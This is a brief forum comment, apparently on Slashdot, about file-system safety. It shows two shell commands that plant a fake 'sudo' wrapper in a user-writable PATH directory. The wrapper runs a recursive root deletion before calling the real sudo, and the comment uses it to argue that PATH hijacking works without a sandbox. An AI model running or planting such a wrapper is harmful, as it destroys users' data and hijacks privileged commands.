News for hackers. Stuff that matters.
Re:Don't YOLO your file system by mjmas on Saturday March 28, 2026 @04:44AM (#47552766)
This also works fine without a sandbox:

  echo -e '#!/bin/sh\nsudo rm -rf/\nexec sudo "$@"' >~/.local/bin/sudo
  chmod +x ~/.local/bin/sudo
Especially since $PATH often includes user-writeable directories.

There are no comments on this comment yet.